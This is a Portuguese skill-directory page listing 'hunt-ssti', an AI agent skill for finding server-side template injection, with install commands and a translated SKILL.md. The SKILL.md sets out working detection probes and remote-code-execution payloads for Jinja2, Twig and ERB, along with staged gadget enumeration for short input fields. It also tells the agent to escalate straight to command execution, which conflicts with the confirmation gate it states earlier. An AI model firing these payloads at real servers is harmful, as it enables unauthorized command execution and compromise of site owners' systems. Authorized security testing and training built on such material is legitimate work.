Pular para o conteúdo
Skillpedia
APIs e servidores (backend)48 mil · #3292

hunt-ssti

Ensina seu agente de IA a construir APIs e sistemas de back-end.

O que ela faz

Esta ferramenta procura por falhas de segurança em sites chamadas 'Server-Side Template Injection' (SSTI). Ela tenta executar comandos no servidor para verificar se o site é vulnerável.

Quando usar

  • ✓Ao testar a segurança de um site com permissão.
  • ✓Para fins educacionais sobre segurança web.
  • ✓Em avaliações de segurança autorizadas.

Exemplo do que pedir para a IA

“Procure por SSTI no site example.com”

Quer saber mais? Abra as seções abaixo.

Como usar

O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.

Link da skill

https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/hunt-ssti/SKILL.md

Mensagem pronta para colar

Use esta skill para me ajudar: https://github.com/sickn33/agentic-awesome-skills/blob/main/plugins/agentic-awesome-skills-claude/skills/hunt-ssti/SKILL.md Leia o arquivo SKILL.md desse link e siga as instruções dele na minha tarefa.
Como funciona

A ferramenta envia pequenos códigos para o site, como se fossem dados normais. Se o site interpretar esses códigos como instruções, ele pode estar vulnerável.

Instalação

Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.

No terminal (Claude Code, Codex, Cursor), na pasta do projeto:

npx skills add sickn33/agentic-awesome-skills --skill hunt-ssti

Ou baixe só o arquivo:

curl -L https://raw.githubusercontent.com/sickn33/agentic-awesome-skills/main/plugins/agentic-awesome-skills-claude/skills/hunt-ssti/SKILL.md -o SKILL.md
Conteúdo técnico (SKILL.md)

Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.

⚠️ USO AUTORIZADO APENAS Esta habilidade é apenas para fins educacionais ou avaliações de segurança autorizadas. Você deve ter permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta. O uso indevido desta ferramenta é ilegal e estritamente proibido.

Porta de confirmação obrigatória Antes de executar qualquer comando que sonde, explore, altere, persista, extraia dados ou tente acesso a credenciais contra um alvo:

  1. Peça ao usuário para declarar o URL, IP, conta ou recurso exato do alvo.
  2. Peça ao usuário para confirmar a autorização por escrito e o escopo permitido.
  3. Mostre o(s) comando(s) exato(s) e explique seu efeito esperado.
  4. Aguarde a confirmação explícita na conversa atual.

Sem essa confirmação, permaneça somente leitura e forneça apenas orientação defensiva. Prefira um sandbox, VM descartável ou laboratório controlado.

Prioridade de Teste Autônomo

Escalar diretamente para RCE — não pare na detecção de aritmética.

Sondas aritméticas ({{7*7}}→49) confirmam o ponto de injeção, mas não são prova de impacto. O objetivo real é a execução de comandos do sistema operacional. A detecção aritmética também falha silenciosamente quando o aplicativo ecoa a entrada de volta (por exemplo, dentro de um atributo HTML como <input value="{{7*7}}">), produzindo um falso negativo mesmo quando a injeção existe.

Ordem de ataque:

  1. Tente Jinja2 RCE primeiro (cobre Python/Flask — a pilha mais comum em aplicativos web modernos):
    {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
    
  2. Se o endpoint for um formulário web tradicional, envie como corpo codificado em formulário — NÃO JSON:
    Content-Type: application/x-www-form-urlencoded
    field={{config.__class__.__init__.__globals__['os'].popen('id').read()}}
    
    Corpos JSON são ignorados silenciosamente por endpoints de processamento de formulários (request.form['field'] não vê nada).
  3. Se Jinja2 falhar, tente Twig (PHP/Symfony): {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
  4. Recorra à detecção de aritmética apenas para identificar o motor quando os payloads de RCE falharem.

Prova: A saída do comando (uid=N(user) gid=...) na resposta confirma RCE. Se a saída aparecer em HTML (dentro de um <div> ou <pre>), isso ainda conta — o formato é irrelevante, o conteúdo é a evidência.


14. SSTI — SERVER-SIDE TEMPLATE INJECTION

Fácil de detectar, alto retorno ($2K–$8K). Caminho direto para RCE.

Payloads de Detecção (tente todos)

{{7*7}}          → 49 = Jinja2 / Twig
${7*7}           → 49 = Freemarker / Velocity / Mako (all use ${...})
<%= 7*7 %>       → 49 = ERB (Ruby)
*{7*7}           → 49 = Spring Thymeleaf
{{7*'7'}}        → 7777777 = Jinja2 (Python string repetition); 49 = Twig (numeric coercion of '7'). Differentiates Jinja2 from Twig.

Payloads de RCE

Jinja2 (Python/Flask):

{{config.__class__.__init__.__globals__['os'].popen('id').read()}}

Twig (PHP/Symfony):

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

ERB (Ruby):

<%= `id` %>

Campos de injeção com comprimento restrito (nome do perfil, nome de exibição, assunto)

Quando o campo injetável limita o comprimento da entrada (um campo de nome de perfil / nome de exibição geralmente tem ≤30-64 caracteres), o comando de linha única os.popen completo não caberá — mas a detecção e a enumeração de classes ainda cabem. Confirme com a sonda curta, em seguida, enumere o índice do gadget em estágios em vez de um payload:

{{ '7'*7 }}                                  # detection, fits anywhere
{{ [].__class__.__base__.__subclasses__() }} # dump class list, pick the index for subprocess.Popen/os
{{ ''.__class__.__mro__[1].__subclasses__()[INDEX] ('id',shell=True,stdout=-1).communicate() }}

O sink refletido é frequentemente um e-mail de saída (o e-mail de atualização de conta / confirmação que renderiza seu nome), não a página web — leia o corpo do e-mail para a saída avaliada. Divulgado: reports/125980 (nome do perfil → Jinja2 → e-mail de confirmação, com comprimento limitado).

Onde Testar

Name/bio/description fields, email templates, invoice name, PDF generators,
URL path parameters, search queries reflected in results, HTTP headers reflected

Formulários de CMS / "documentação" com editor de templates (autenticado)

Alguns SSTI vivem por trás de um editor de templates logado (CMS "editar template" / template de produto / preview de template de e-mail). A classe "SSTI usando documentação" da PortSwigger tem essa forma. Três coisas quebram uma tentativa ingênua:

…

Perguntas frequentes

O que é SSTI?

É uma falha que permite a um atacante executar comandos no servidor onde o site está hospedado, usando as ferramentas de 'template' do próprio site.

Por que preciso de permissão?

Testar a segurança de sites sem autorização é ilegal e pode causar danos. Esta ferramenta só deve ser usada em ambientes controlados e com permissão explícita.

O que é RCE?

RCE significa 'Remote Code Execution' (Execução Remota de Código). É o objetivo final de um ataque SSTI, onde o atacante consegue executar comandos no servidor à distância.

Detalhes

Descrição original do autor

Hunt server-side template injection (SSTI) across Jinja2 (Flask/Django), Twig (Symfony), Freemarker (Java), ERB (Rails), Spring, Velocity, Mako, Thymeleaf, Smarty.

repo: sickn33/agentic-awesome-skills

Popularidade

Estrelas no GitHub
48 mil
Posição no ranking
#3292
Licença
MIT
Atualizada em
15/10/2026

Essa skill é útil?

0

Entre para votar.

Comentários

  • …

Mais skills deste repositório

Skills parecidas